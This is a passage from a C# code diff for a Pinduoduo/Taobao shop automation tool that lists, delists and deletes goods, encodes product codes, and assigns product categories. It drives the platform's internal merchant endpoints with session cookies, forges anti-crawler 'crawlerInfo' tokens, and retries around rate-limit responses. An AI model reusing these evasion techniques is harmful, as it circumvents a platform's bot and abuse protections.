foreach (string s in l)
{
var good = Shop.OnlineProduct.Find(p => p.GoodsId == long.Parse(s));
good.Message = "上架成功";
UploadPinduoduoMain.ProductReplaceTemp.Add(good);
}
return;
}
if (html.Contains("手速太快了"))
{
LogSave.Add(Name, "手速太快了,休眠30秒后,继续执行");
Thread.Sleep(30 * 1000);
string[] l = GoodsId.Split(',');
urlx = "https://mms.pinduoduo.com/vodka/v2/mms/pc/onSale";
for (int i = 0; i < l.Length; i++)
{
data = "{\"goodsId\":" + l[i] + "}";
html = GetPostTaobaoHtml.UploadTaobaoPost(urlx, refere, true, data, Cookies);
Thread.Sleep(3 * 1000);
LogSave.Add(Name, "下架产品成功:" + l[i]);
if (!html.Contains("success"))
Thread.Sleep(30 * 1000);
}
//Thread.Sleep(30 * 60 * 1000);
//html = GetPostTaobaoHtml.UploadTaobaoPost(urlx, refere, true, data, Cookies);
}
if (string.IsNullOrEmpty(html) || html.Contains("过于频繁"))
{
Thread.Sleep(30 * 1000);
html = GetPostTaobaoHtml.UploadTaobaoPost(urlx, refere, true, data, Cookies);
if (string.IsNullOrEmpty(html) || html.Contains("过于频繁"))
{
Thread.Sleep(90 * 1000);
html = GetPostTaobaoHtml.UploadTaobaoPost(urlx, refere, true, data, Cookies);
}
if (!string.IsNullOrEmpty(html) && html.Contains("过于频繁"))
{
LogSave.Add(Name, "速度太快,休眠2-5分钟");
}
else
{
LogSave.Add(Name, html);
}
}
else
{
string[] l = GoodsId.Split(',');
foreach (string s in l)
{
LogSave.Add(Name, "上架产品成功:" + s);
}
}
}
public string Delete()
{
//var api = new PinduoduoApiGetProduct(Shop);
//string html = api.DelGoods("["+GoodsId+"]");
string url = "https://mms.pinduoduo.com/plutus/api/plutus/bin/goods/delete/batch";
string refere = "http://mms.pinduoduo.com/Pdd.html";
string data = "{\"goods_ids\":[" + GoodsId + "],\"mall_id\":" + Shop.MallId + ",\"creator\":\"" + Shop.ShopName + "\",\"creator_id\":" + Shop.ReceiverId + "}";
string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Cookies);
Thread.Sleep(1000);
return html;
}
public void OffSale()
{
string NoCode = "";
string strTime = BaseClass.GetTime(DateTime.Now).ToString() + "000";
if (string.IsNullOrEmpty(NoCode))
{
string htmlx = GetHtml.Gbk("http://nano.qixiaoke.com/nano.txt");
NoCode = BaseRegex.GetMatchRegexString(ref htmlx, @"([\w\W]+?)-----");
}
if (string.IsNullOrEmpty(PinduoduoAuth.strContent))
{
PinduoduoAuth.strContent = GetVisitProductNew.strJs;//FileBase.ReadAllText(path);
}
string codex = "";
//using (IJsEngine jsEngine = new V8JsEngine())
//{
// jsEngine.Execute(GetProductOnlineClass.JsCodeGetSms);
// codex = jsEngine.CallFunction("aaa", "").ToString();
//}
codex = Work.ManageClass.CpsSetAllGoods.getAnti0aon();
string refere = "https://mms.pinduoduo.com/Pdd.html";
string urlx = "https://mms.pinduoduo.com/vodka/v2/mms/pc/offSale";
string data = "{\"goodsId\":" + GoodsId + ",\"crawlerInfo\":\"" + codex + "\"}";
//string html = GetPostTaobaoHtml.UploadTaobaoPost(urlx, refere, true, data, Cookies);
string html = Work.ManageClass.CpsSetAllGoods.Request_mms_pinduoduo_com(urlx, refere, Cookies, data, codex);
Thread.Sleep(5*1000);
}
public void OffSaleApi()
{
var api = new PinduoduoApiGetProduct(Shop);
try
{
var html = api.SetOnline(Convert.ToInt64(GoodsId), false);
}
catch { }
Thread.Sleep(3 * 1000);
}
public string GetPidsStore()
{
string data = "{\"goodsIds\":[" + GoodsId + "]}";
string urlx = "https://mms.pinduoduo.com/vodka/v2/mms/batchOffSale";
string refere = "https://mms.pinduoduo.com/Pdd.html";
string html = GetPostTaobaoHtml.UploadTaobaoPost(urlx, refere, true, data, Cookies);
Thread.Sleep(1000);
return html;
}
}
}
+132
View File
@@ -0,0 +1,132 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using AllBase;
namespace Work.Api
{
public class EncryptionCode
{
/// <summary>
/// 加密
/// </summary>
/// <param name="pid"></param>
/// <param name="sid"></param>
/// <param name="mid"></param>
/// <returns></returns>
public static string GetCode(long pid, int sid, int mid,out string code)
{
code = "";
if (sid == 1)
code = "tb-";
if (sid == 2)
code = "pd-";
if (sid == 3)
code = "al-";
if (sid == 4)
code = "jx-";
if (sid == 6)
code = "wd-";
code += pid;
if (pid == 0 || sid == 0 || mid == 0)
return "";
string url = BaseClass.LoginApiUrl + "api/encodex.php?mall_id=" + mid + "&pid=" + pid + "&site_id=" + sid;
string html = GetHtml.GetUrl(url);
if (!string.IsNullOrEmpty(html) && html.Length < 50)
return html;
code = "";
if (sid == 1)
code = "tb-";
if (sid == 2)
code = "pd-";
if (sid == 3)
code = "al-";
if (sid == 4)
code = "jx-";
if (sid == 6)
code = "wd-";
code += pid;
int randx = new Random(Guid.NewGuid().GetHashCode()).Next(100, 999);
int rmk = (mid % 27 + randx % 27) % 27;
int[] mainKey = new int[] { 6, 1, 5, 8, 4, 3, 6, 7, 0, 2, 9, 1, 2, 4, 7, 6, 5, 0, 1, 6, 8, 4, 6, 7, 9, 1 };
string news = new Random(Guid.NewGuid().GetHashCode()).Next(100, 999).ToString();
for (int i = 0; i < code.Length; i++)
{
int newValue = (int)code[i] - 40 + mainKey[i] * (i % 6) + rmk * (i % 5);
news += (char)newValue;
}
return "PBB" + EncodeBase64(Encoding.UTF8, news) + "?" + randx;
return code;
//int ridMain = new Random(Guid.NewGuid().GetHashCode()).Next(100, 999);
//int ridClient = (mid % ridMain) % 26;
//byte[] b = Encoding.Default.GetBytes(code);
//List<int> k = new List<int>();
//char[] ke = mid.ToString().ToCharArray();
//for (int i = 0; i < ke.Length; i++)
//{
// int j = int.Parse(ke[i].ToString());
// k.Add(j);
//}
//int y = 0;
//for (int i = 0; i < b.Length; i++)
//{
// int z = b[i] + k[y] * ridClient;
// b[i] = (byte)(z % 256);
// y++;
// if (y >= ke.Length)
// y = 0;
//}
//return "PBB" + Convert.ToBase64String(b) + "|" + ridMain;
}
public static string EncodeBase64(Encoding encode, string source)
{
byte[] bytes = encode.GetBytes(source);
try
{
string code = Convert.ToBase64String(bytes);
return code;
}
catch
{
return source;
}
}
public static void Test()
{
StringBuilder s = new StringBuilder();
for (int i = 0; i < 200; i++)
{
for (int sid = 1; sid < 4; sid++)
{
string code = "";
if (sid == 1)
code = "tb-";
if (sid == 2)
code = "pd-";
if (sid == 3)
code = "al-";
string mid = Randomx.GetNumber(Randomx.GetId(3, 8));
string pid = Randomx.GetNumber(Randomx.GetId(6,13));
code +=pid;
string url = "http://127.0.0.1:81/api/encodex.php?mall_id=" + mid + "&pid=" + pid + "&site_id=" + sid;
string html = GetHtml.Utf8(url);
url = "http://127.0.0.1:81/?obj=pinbaobao/decode&act=getx&mall_id=" + mid + "&encode=" + GetHtml.UrlEncodeUtf8(html);
string htmlx = GetHtml.Utf8(url);
s.AppendLine(code + "\t" + htmlx + "\t" + html);
}
}
string xxxx = s.ToString();
}
}
}
+770
View File
@@ -0,0 +1,770 @@
using System.Collections.Generic;
using AllBase;
using Work.CollectClass;
using System;
using Work.ManageClass;
using System.Linq;
namespace Work.Api
{
public class FromTitleToCat
{
public string Cat1 = "", Cat2 = "", Cat3 = "", Cat4 = "", Title = "", MainCatId = "";
public List<KeyValuesBase> Cats = new List<KeyValuesBase>();
public List<KeyValuesBase> CatTop = new List<KeyValuesBase>();
public static List<KeyValuesBase> MainCat = new List<KeyValuesBase>();
public static Dictionary<long, KeyValuesBase> TempCat = new Dictionary<long, KeyValuesBase>();
public static Dictionary<int, string> TaobaoCat = new Dictionary<int, string>();
public bool MainServer = false, AddToStock = false, JustGetCat = false;
public static bool UserApi = false;
public bool AgainCat = false;
public int TaobaoCatId = 0;
public TaobaoProductBase TaobaoProduct;
public FromTitleToCat()
{
if (MainCat.Count > 0)
return;
MainCat.Add(new KeyValuesBase("0", ",0,", "全类目"));//全类目
//MainCat.Add(new KeyValuesBase("5", ",8583,8439,8538,8634,8508,8509,8669,239,,210,263,270,277,990,1366,3817,", "服饰箱包"));//服饰箱包
//MainCat.Add(new KeyValuesBase("4", ",17412,16901,17671,16155,16676,17455,16192,16209,16989,17249,17285,17803,16794,16288,16548,15543,17134,,,483,489,282,519,479,1715,259,1166,3202,525,1889,4958,", "家居生活"));//家居生活
//MainCat.Add(new KeyValuesBase("11", ",5921,6209,5955,2629,5834,2603,5839,6128,5906,6290,2933,8502,5752,5851,7323,6076,", "数码电器"));//数码电器
//MainCat.Add(new KeyValuesBase("3", ",18482,18574,18601,18637,,,,1464,1432,69,", "美容个护"));//美容个护
//MainCat.Add(new KeyValuesBase("6", ",14697,14740,14933,14966,15083,15356,,77,", "母婴玩具"));//母婴玩具
//MainCat.Add(new KeyValuesBase("12", ",9313,9314,9315,9316,9317,9318,9319,9320,9321,9322,9323,9324,,,879,873,2479,1629,4886,1896,", "家纺家具家装"));//家纺家具
//MainCat.Add(new KeyValuesBase("10", ",11683,11684,11685,11686,11687,11688,11689,,,,4173,281,2351,", "运动户外"));//运动户外
//MainCat.Add(new KeyValuesBase("2", ",83,8172,", "水果生鲜"));//水果生鲜
//MainCat.Add(new KeyValuesBase("7", ",6586,6785,6883,6758,6536,6630,6398,,2,", "食品保健"));//食品保健
//MainCat.Add(new KeyValuesBase("9", ",80,", "虚拟商品"));//虚拟商品
//MainCat.Add(new KeyValuesBase("13", ",6785,1715,6883,13176,13177,13178,16237,", "医药健康"));//医药健康
//MainCat.Add(new KeyValuesBase("14", ",7629,7639,", "汽配摩托"));//汽配摩托
MainCat.Add(new KeyValuesBase("5", ",8583,8439,8538,8634,8508,8509,8669,239,,210,263,270,277,990,1366,3817,", "服饰箱包"));//服饰箱包
MainCat.Add(new KeyValuesBase("4", ",5217,17412,16901,17671,16155,16676,17455,16192,16209,16989,17249,17285,17803,16794,16288,16548,15543,17134,,,483,489,282,519,479,1715,259,1166,3202,525,1889,4958,", "家居生活"));//家居生活
MainCat.Add(new KeyValuesBase("11", ",5921,6209,5955,2629,5834,2603,5839,6128,5906,6290,2933,8502,5752,5851,7323,6076,", "数码电器"));//数码电器
MainCat.Add(new KeyValuesBase("3", ",18482,18574,18601,18637,,,,,1464,1432,69,", "美容个护"));//美容个护
MainCat.Add(new KeyValuesBase("6", ",14697,19298,14740,14933,14966,15083,15356,,77,", "母婴玩具"));//母婴玩具
MainCat.Add(new KeyValuesBase("12", ",9313,9314,9315,9316,9317,9318,9319,9320,9321,9322,9323,9324,,,879,873,2479,1629,4886,1896,20340,", "家纺家具家装"));//家纺家具
MainCat.Add(new KeyValuesBase("10", ",11683,11684,11685,11686,11687,11688,11689,,,,4173,281,2351,", "运动户外"));//运动户外
MainCat.Add(new KeyValuesBase("2", ",83,8172,", "水果生鲜"));//水果生鲜
MainCat.Add(new KeyValuesBase("7", ",6586,6785,6883,6758,6536,6630,6398,,2,", "食品保健"));//食品保健
MainCat.Add(new KeyValuesBase("9", ",80,20078,", "虚拟商品"));//虚拟商品
MainCat.Add(new KeyValuesBase("13", ",1715,13176,13177,13178,16237,18814,", "医药健康"));//医药健康
MainCat.Add(new KeyValuesBase("14", ",7629,7639,", "汽配摩托"));//汽配摩托
MainCat.Add(new KeyValuesBase("8", ",,", "海淘进口"));//海淘进口
}
/// <summary>
/// 是否在当前分类中
/// </summary>
/// <param name="cat1"></param>
/// <returns></returns>
public bool InMainCatId(int cat1)
{
for (int i = 0; i < MainCat.Count; i++)
{
if (MainCat[i].Key == BaseClass.MainCatId.ToString() && MainCat[i].Value1.Contains("," + cat1 + ","))
{
return true;
}
}
return false;
}
public string MainCatName = "";
public int GetMainCatId(int cat1)
{
for (int i = 0; i < MainCat.Count; i++)
{
if (MainCat[i].Value1.Contains("," + cat1 + ","))
{
MainCatName = MainCat[i].Value2;
return int.Parse(MainCat[i].Key);
}
}
return 0;
}
public static ShopChatBase inShop = null;
/// <summary>
/// 线程级查询分类
/// </summary>
public void Get()
{
if (TaobaoProduct == null || string.IsNullOrEmpty(TaobaoProduct.Titlte))
return;
TaobaoProductBase t = TaobaoProduct;
if (UserApi)
{
ShopChatBase shop = null;
if (BaseClass.UserVersion == 110) // 特殊版本,只使用API,默认授权成功店铺就是可用
{
inShop = GetShopLoginInfo.Shops.FirstOrDefault(s => s.Message == "授权成功");
}
if (inShop == null && BaseClass.UserVersion != 110) // 非特殊版本,逻辑
{
for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++)
{
if (!GetShopLoginInfo.Shops[i].Select)
continue;
if (inShop == null)
{
string url = "https://mms.pinduoduo.com/hades/oauth/authed/list";
string refere = "https://mms.pinduoduo.com/service-market/my-auth";
string data = "{\"page\":1,\"pageSize\":50,\"crawlerInfo\":\"" + UploadPinduoduoMain.AntiContent + "\"}";
string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, GetShopLoginInfo.Shops[i].Cookies, UploadPinduoduoMain.AntiContent); //GetPostTaobaoHtml.GetJsonPostAnti(url, refere, true, data, GetShopLoginInfo.Shops[i].Cookies, crawlerInfo);
var mc = BaseRegex.GetMatchRegex(ref html, @"\{[\w\W]+?\}");
for (int j = 0; mc != null && j < mc.Count; j++)
{
string list = mc[j].Groups[0].Value;
string cxid = BaseRegex.GetStringJson(ref list, "clientId");
long expiredAt = BaseRegex.GetLongJson(ref list, "refreshTokenExpiredAt");
DateTime t1 = DateTime.Now;
DateTime t2 = TimeZone.CurrentTimeZone.ToLocalTime(new DateTime(1970, 1, 1)).AddMilliseconds(expiredAt);
System.TimeSpan t3 = t2 - t1;
double getDay = t3.TotalDays;
if (BaseClass.ClientIdx.Contains(cxid) && getDay > 0)
{
inShop = GetShopLoginInfo.Shops[i];
break;
}
}
}
if (inShop==null)
{
string urlxs = "https://mms.pinduoduo.com/janus/api/subSystem/generateAccessToken";
string referes = "https://fuwu.pinduoduo.com/service-market/my-service";
string dataxs = "{\"redirectUrl\":\"https://fuwu.pinduoduo.com/clint/api/login?redirect=https%3A%2F%2Ffuwu.pinduoduo.com%2Fservice-market%2Fmy-service\"}";
string htmlxs = CpsSetAllGoods.Request_mms_pinduoduo_com(urlxs, referes, GetShopLoginInfo.Shops[i].Cookies, dataxs, CpsSetAllGoods.getAnti0aon());
string accessToken = BaseRegex.GetStringJson(ref htmlxs, "accessToken");
urlxs = "https://fuwu.pinduoduo.com/clint/api/login?redirect=https%3A%2F%2Ffuwu.pinduoduo.com%2Fservice-market%2F&accessToken=" + accessToken;
htmlxs = PinduoduoAuth.GetJsonPostURL(urlxs, referes, true, "", GetShopLoginInfo.Shops[i].Cookies);
accessToken = BaseRegex.GetMatchRegexString(ref htmlxs, "SUB_PASS_ID=([^;]+?);");
string cookiesx = "SUB_PASS_ID=" + accessToken;
string codexs = CpsSetAllGoods.getAnti0aon();
urlxs = "https://fuwu.pinduoduo.com/columbine/oauth/authed/list";
referes = "https://fuwu.pinduoduo.com/service-market/my-auth";
dataxs = "{\"page\":1,\"pageSize\":50,\"crawlerInfo\":\"" + codexs + "\"}";
htmlxs = CpsSetAllGoods.Request_mms_pinduoduo_com(urlxs, referes, GetShopLoginInfo.Shops[i].Cookies + cookiesx, dataxs, codexs);
var m = BaseRegex.GetMatchRegex(ref htmlxs, @"\{[\w\W]+?\}");
for (int j = 0; m != null && j < m.Count; j++)
{
string list = m[j].Groups[0].Value;
string cxid = BaseRegex.GetStringJson(ref list, "clientId");
if (cxid == "9558f920cf77403bb475243fe44482ad" || cxid == "81fd2bbabbd54ec5bf312e05401a0343"
|| cxid == "9f7d0ce6460b46e7a3833ac2e8325519" || cxid == "3069c1c325e44e85bcf5b6295694bdae"
|| cxid == "f23bda7f6d9c4b6c8751268891779660" || cxid == "5d755c0cf97a4cbdb8aa958beea25011" || cxid == "911bd1c0c0a0403da88334e24ca288a2")
continue;
long auditAt = BaseRegex.GetLongJson(ref list, "auditAt");
long refreshTokenExpiredAt = BaseRegex.GetLongJson(ref list, "refreshTokenExpiredAt");
DateTime t1 = DateTime.Now;// DateTime.Parse(DateTime.Now.ToString("1970-01-01 00:00:00")).AddMilliseconds(auditAt);
DateTime t2 = TimeZone.CurrentTimeZone.ToLocalTime(new DateTime(1970, 1, 1)).AddMilliseconds(refreshTokenExpiredAt);
System.TimeSpan t3 = t2 - t1; //两个时间相减 。默认得到的是 两个时间之间的天数 得到:365.00:00:00
double getDay = t3.TotalDays;
if (BaseClass.ClientIdx.Contains(cxid) && getDay > 0)
{
inShop = GetShopLoginInfo.Shops[i];
break;
}
}
}
if (inShop == null)
GetShopLoginInfo.Shops[i].APIMessage = "请先购买API再上传";
}
}
shop = inShop;
if (shop == null)
return;
// shop = GetShopLoginInfo.Shops.Find(sp => sp != null && sp.Showed && !string.IsNullOrEmpty(sp.AccessToken) && sp.Select);
//if (shop == null)
// shop = GetShopLoginInfo.Shops.Find(sp => sp != null && sp.Showed && !string.IsNullOrEmpty(sp.AccessToken));
if (shop != null)
{
var api = new PinduoduoApiGetProduct(shop);
string taobaoCatName = "0";
if (TaobaoCat.ContainsKey(TaobaoCatId))
taobaoCatName = TaobaoCat[TaobaoCatId];
if (TaobaoCatId == 0)
TaobaoCatId = 1;
string html = api.GetCatId(TaobaoCatId, taobaoCatName, t.Titlte);
if (html.Contains("\"error_msg\":授权失败,请先购买API再上传"))
{
inShop = null;
}
if (html.Contains("cat_id1"))
{
Cat1 = BaseRegex.GetIntJson(ref html, "cat_id1").ToString();
Cat2 = BaseRegex.GetIntJson(ref html, "cat_id2").ToString();
Cat3 = BaseRegex.GetIntJson(ref html, "cat_id3").ToString();
Cat4 = BaseRegex.GetIntJson(ref html, "cat_id4").ToString();
}
}
}
if (string.IsNullOrEmpty(Cat1) || Cat1 == "0")//API未执行成功
{
bool ok = Get(t.Titlte, t.FromId, t.FromSiteId);
if (!ok)
return;
}
if (string.IsNullOrEmpty(Cat4))
Cat4 = "0";
t.Cat1 = int.Parse(Cat1);
t.Cat4 = int.Parse(Cat4);
t.Cat3 = int.Parse(Cat3);
t.Cat2 = int.Parse(Cat2);
int id = t.Cat4 > 0 ? t.Cat4 : t.Cat3;
int cid = PinduoduoCatList.GetNewCat3(id);
if (!AgainCat&&cid != id && PinduoduoCatList.CatIds.ContainsKey(cid))
{
var ci = PinduoduoCatList.CatIds[cid];
t.CatId = ci.id;
t.Cat1 = ci.cat1;
t.Cat2 = ci.cat2;
if (ci.cat3 == 0)
{
foreach (KeyValuePair<int, CatBase> c3 in PinduoduoCatList.CatIds)
{
if (c3.Value.cat2 == ci.cat2 && c3.Value.cat3 > 0)
{
ci.cat3 = c3.Value.cat3;
break;
}
}
}
t.Cat3 = ci.cat3;
if (ci.cat4 == 0 && ci.cat3 > 0)
{
foreach (KeyValuePair<int, CatBase> c4 in PinduoduoCatList.CatIds)
{
if (c4.Value.cat3 == ci.cat3 && c4.Value.cat4 > 0)
{
ci.cat4 = c4.Value.cat4;
break;
}
}
}
t.Cat4 = ci.cat4;
t.MainCatId = ci.main_cat_id;
}
t.MainCatId = GetMainCatId(t.Cat1);
t.MainCatName = MainCatName;
t.CatId = t.Cat4 > 0 ? t.Cat4 : t.Cat3;
if (t.MainCatId == 0 || JustGetCat || CollectKeywordByTaobao.MainCatId > 0 && CollectKeywordByTaobao.MainCatId != t.MainCatId)
{
return;
}
if (AddToStock)
{
if (!string.IsNullOrEmpty(t.ShopName))
{
var shop = GetShopLoginInfo.Shops.Find(s => s.ShopName == t.ShopName);
if (shop == null || t.MainCatId != shop.MainCatId)
t.ShopName = "";
else
{
var s = GetShopLoginInfo.Shops.Find(ss => ss.ShopName == t.ShopName);
if (s != null)
{
s.ProductCount++;
UploadPinduoduoMain.ShopReplaceTemp.Add(s);
UploadPinduoduoMain.ShopTemp.Add(s);
}
}
}
UploadPinduoduoMain.ProductStock.Add(t);
UploadPinduoduoMain.AddToDataBase(t);
return;
}
if (CollectKeywordByTaobao.AutoAdd)
{
UploadPinduoduoMain.ProductStock.Add(t);
UploadPinduoduoMain.AddToDataBase(t);
}
CollectKeywordByTaobao.Product.Add(t);
CollectKeywordByTaobao.ProductTemp.Add(t);
}
public bool Get(string title, long fromId)
{
if (string.IsNullOrEmpty(title))
return false;
if (TempCat.ContainsKey(fromId) && fromId > 0)
{
Cat1 = TempCat[fromId].Value1;
Cat2 = TempCat[fromId].Value2;
Cat3 = TempCat[fromId].Value3;
Cat4 = TempCat[fromId].Value4;
MainCatId = TempCat[fromId].Key;
return true;
}
Title = title;
Title = BaseRegex.Clear(Title, @"([\d\s]+)");
GetLen(4);
bool ok = OutPut(fromId);
if (ok)
return true;
GetLen(6);
ok = OutPut(fromId);
if (ok)
return true;
GetLen(8);
ok = OutPut(fromId);
if (ok)
return true;
if (Cats.Count > 0)
{
var c = CatTop[0];
Cat1 = c.Value1;
Cat2 = c.Value2;
for (int i = 0; i < Cats.Count; i++)
{
if (Cats[i].Value2 == Cat2)
{
Cat3 = Cats[i].Value3;
break;
}
}
for (int i = 0; i < MainCat.Count; i++)//计算主营类目ID
{
if (MainCat[i].Value1.Contains("," + Cat1 + ","))
{
MainCatId = MainCat[i].Key;
if (!TempCat.ContainsKey(fromId))
{
KeyValuesBase k = new KeyValuesBase(MainCatId, Cat1, Cat2, Cat3);
try
{
TempCat.Add(fromId, k);
}
catch
{
}
}
return true;
}
}
}
return ok;
}
public void GetLoad()
{
if (TaobaoProduct == null || string.IsNullOrEmpty(TaobaoProduct.Titlte))
return;
TaobaoProductBase t = TaobaoProduct;
if (UserApi)
{
var shop = GetShopLoginInfo.Shops.Find(sp => sp != null && sp.Showed && !string.IsNullOrEmpty(sp.AccessToken) && sp.Select);
if (shop == null)
shop = GetShopLoginInfo.Shops.Find(sp => sp != null && sp.Showed && !string.IsNullOrEmpty(sp.AccessToken));
if (shop != null)
{
var api = new PinduoduoApiGetProduct(shop);
string taobaoCatName = "0";
if (TaobaoCat.ContainsKey(TaobaoCatId))
taobaoCatName = TaobaoCat[TaobaoCatId];
if (TaobaoCatId == 0)
TaobaoCatId = 1;
string html = api.GetCatId(TaobaoCatId, taobaoCatName, t.Titlte);
if (html.Contains("cat_id1"))
{
Cat1 = BaseRegex.GetIntJson(ref html, "cat_id1").ToString();
Cat2 = BaseRegex.GetIntJson(ref html, "cat_id2").ToString();
Cat3 = BaseRegex.GetIntJson(ref html, "cat_id3").ToString();
Cat4 = BaseRegex.GetIntJson(ref html, "cat_id4").ToString();
}
}
}
if (string.IsNullOrEmpty(Cat1) || Cat1 == "0")//API未执行成功
{
bool ok = Get(t.Titlte, t.FromId, t.FromSiteId);
if (!ok)
return;
}
if (string.IsNullOrEmpty(Cat4))
Cat4 = "0";
t.Cat1 = int.Parse(Cat1);
t.Cat4 = int.Parse(Cat4);
t.Cat3 = int.Parse(Cat3);
t.Cat2 = int.Parse(Cat2);
int id = t.Cat4 > 0 ? t.Cat4 : t.Cat3;
int cid = PinduoduoCatList.GetNewCat3(id);
if (cid != id && PinduoduoCatList.CatIds.ContainsKey(cid))
{
var ci = PinduoduoCatList.CatIds[cid];
t.CatId = ci.id;
t.Cat1 = ci.cat1;
t.Cat2 = ci.cat2;
if (ci.cat3 == 0)
{
foreach (KeyValuePair<int, CatBase> c3 in PinduoduoCatList.CatIds)
{
if (c3.Value.cat2 == ci.cat2 && c3.Value.cat3 > 0)
{
ci.cat3 = c3.Value.cat3;
break;
}
}
}
t.Cat3 = ci.cat3;
if (ci.cat4 == 0 && ci.cat3 > 0)
{
foreach (KeyValuePair<int, CatBase> c4 in PinduoduoCatList.CatIds)
{
if (c4.Value.cat3 == ci.cat3 && c4.Value.cat4 > 0)
{
ci.cat4 = c4.Value.cat4;
break;
}
}
}
t.Cat4 = ci.cat4;
t.MainCatId = ci.main_cat_id;
}
t.MainCatId = GetMainCatId(t.Cat1);
t.MainCatName = MainCatName;
t.CatId = t.Cat4 > 0 ? t.Cat4 : t.Cat3;
if (t.MainCatId == 0 || JustGetCat || CollectKeywordByTaobao.MainCatId > 0 && CollectKeywordByTaobao.MainCatId != t.MainCatId)
{
return;
}
if (AddToStock)
{
if (!string.IsNullOrEmpty(t.ShopName))
{
var shop = GetShopLoginInfo.Shops.Find(s => s.ShopName == t.ShopName);
if (shop == null || t.MainCatId != shop.MainCatId)
t.ShopName = "";
else
{
var s = GetShopLoginInfo.Shops.Find(ss => ss.ShopName == t.ShopName);
if (s != null)
{
s.ProductCount++;
UploadPinduoduoMain.ShopReplaceTemp.Add(s);
UploadPinduoduoMain.ShopTemp.Add(s);
}
}
}
try
{
var ps = UploadPinduoduoMain.ProductStock.Find(p => p.FromId == t.FromId && p.Titlte == t.Titlte);
ps = t;
}
catch
{
}
return;
}
if (CollectKeywordByTaobao.AutoAdd)
{
try
{
var ps = UploadPinduoduoMain.ProductStock.Find(p => p.FromId == t.FromId && p.Titlte == t.Titlte);
ps = t;
}
catch
{
}
}
CollectKeywordByTaobao.Product.Add(t);
CollectKeywordByTaobao.ProductTemp.Add(t);
}
public KeyValuesBase GetServerTempCat(long fromId, int siteId)
{
string url = BaseClass.LoginApiUrl + "?obj=product/product&act=get_cat";
string data = UserLogin.GetSignaturex() + "&site_id=" + siteId + "&id=" + fromId;
string html = GetHtml.PostUtf8(url, data);
if (!string.IsNullOrEmpty(html) && html.Contains("cat_id"))
{
Cat1 = BaseRegex.GetStringJson(ref html, "cat1");
Cat2 = BaseRegex.GetStringJson(ref html, "cat2");
Cat3 = BaseRegex.GetStringJson(ref html, "cat3");
Cat4 = BaseRegex.GetStringJson(ref html, "cat4");
if (Cat3 != "0" || Cat4 != "0")
{
MainCatId = BaseRegex.GetStringJson(ref html, "main_cid");
GetMainCatId(int.Parse(Cat1));
if (!TempCat.ContainsKey(fromId))
{
KeyValuesBase k = new KeyValuesBase(MainCatId, Cat1, Cat2, Cat3, Cat4);
try
{
TempCat.Add(fromId, k);
return k;
}
catch
{
}
}
return TempCat[fromId];
}
}
return null;
}
public bool Get(string title, long fromId, int siteId)
{
if (string.IsNullOrEmpty(title))
return false;
if (TempCat.ContainsKey(fromId) && fromId > 0)
{
Cat1 = TempCat[fromId].Value1;
Cat2 = TempCat[fromId].Value2;
Cat3 = TempCat[fromId].Value3;
Cat4 = TempCat[fromId].Value4;
MainCatId = TempCat[fromId].Key;
return true;
}
var shop = GetShopLoginInfo.Shops.Find(sp => sp != null && sp.Showed);
if (shop != null)
{
var api = new PinduoduoApiGetProduct(shop);
string taobaoCatName = "0";
if (TaobaoCat.ContainsKey(TaobaoCatId))
taobaoCatName = TaobaoCat[TaobaoCatId];
if (TaobaoCatId == 0)
TaobaoCatId = 1;
string htmlx = api.GetCatId(TaobaoCatId, taobaoCatName, title);
if (htmlx.Contains("cat_id1"))
{
Cat1 = BaseRegex.GetIntJson(ref htmlx, "cat_id1").ToString();
Cat2 = BaseRegex.GetIntJson(ref htmlx, "cat_id2").ToString();
Cat3 = BaseRegex.GetIntJson(ref htmlx, "cat_id3").ToString();
Cat4 = BaseRegex.GetIntJson(ref htmlx, "cat_id4").ToString();
}
for (int i = 0; i < MainCat.Count; i++)//计算主营类目ID
{
if (string.IsNullOrEmpty(Cat1)) break;//主类目为空
if (MainCat[i].Value1.Contains("," + Cat1 + ","))
{
MainCatId = MainCat[i].Key;
if (!TempCat.ContainsKey(fromId))
{
KeyValuesBase k = new KeyValuesBase(MainCatId, Cat1, Cat2, Cat3);
try
{
TempCat.Add(fromId, k);
}
catch
{
}
}
return true;
}
}
if ((Cat3 != "0" || Cat4 != "0") && Cat1 != "")
return true;
}
string url = BaseClass.LoginApiUrl + "?obj=product/product&act=get_cat";
string data = UserLogin.GetSignaturex() + "&site_id=" + siteId + "&id=" + fromId;
string html = GetHtml.PostUtf8(url, data);
if (!string.IsNullOrEmpty(html) && html.Contains("cat_id"))
{
Cat1 = BaseRegex.GetStringJson(ref html, "cat1");
Cat2 = BaseRegex.GetStringJson(ref html, "cat2");
Cat3 = BaseRegex.GetStringJson(ref html, "cat3");
Cat4 = BaseRegex.GetStringJson(ref html, "cat4");
if (Cat3 != "0" || Cat4 != "0")
{
MainCatId = BaseRegex.GetStringJson(ref html, "main_cid");
if (!TempCat.ContainsKey(fromId))
{
KeyValuesBase k = new KeyValuesBase(MainCatId, Cat1, Cat2, Cat3, Cat4);
try
{
TempCat.Add(fromId, k);
}
catch
{
}
}
return true;
}
}
Title = title;
Title = BaseRegex.Clear(Title, @"([\d\s]+)");
GetLen(4);
bool ok = OutPut(fromId);
if (ok)
return true;
GetLen(6);
ok = OutPut(fromId);
if (ok)
return true;
GetLen(8);
ok = OutPut(fromId);
if (ok)
return true;
if (Cats.Count > 0)
{
var c = CatTop[0];
Cat1 = c.Value1;
Cat2 = c.Value2;
for (int i = 0; i < Cats.Count; i++)
{
if (Cats[i].Value2 == Cat2)
{
Cat3 = Cats[i].Value3;
break;
}
}
for (int i = 0; i < MainCat.Count; i++)//计算主营类目ID
{
if (MainCat[i].Value1.Contains("," + Cat1 + ","))
{
MainCatId = MainCat[i].Key;
if (!TempCat.ContainsKey(fromId))
{
KeyValuesBase k = new KeyValuesBase(MainCatId, Cat1, Cat2, Cat3);
try
{
TempCat.Add(fromId, k);
}
catch
{
}
}
return true;
}
}
}
return ok;
}
/// <summary>
/// 使用2级分类
/// </summary>
/// <returns></returns>
public bool OutPut(long fromId)
{
if (CatTop.Count > 3 && CatTop[0].Rank > 1 || CatTop.Count > 0 && CatTop[0].Rank > 5)
{
var c = CatTop[0];
Cat1 = c.Value1;
Cat2 = c.Value2;
for (int i = 0; i < Cats.Count; i++)
{
if (Cats[i].Value2 == Cat2)
{
Cat3 = Cats[i].Value3;
Cat4 = Cats[i].Value4;
break;
}
}
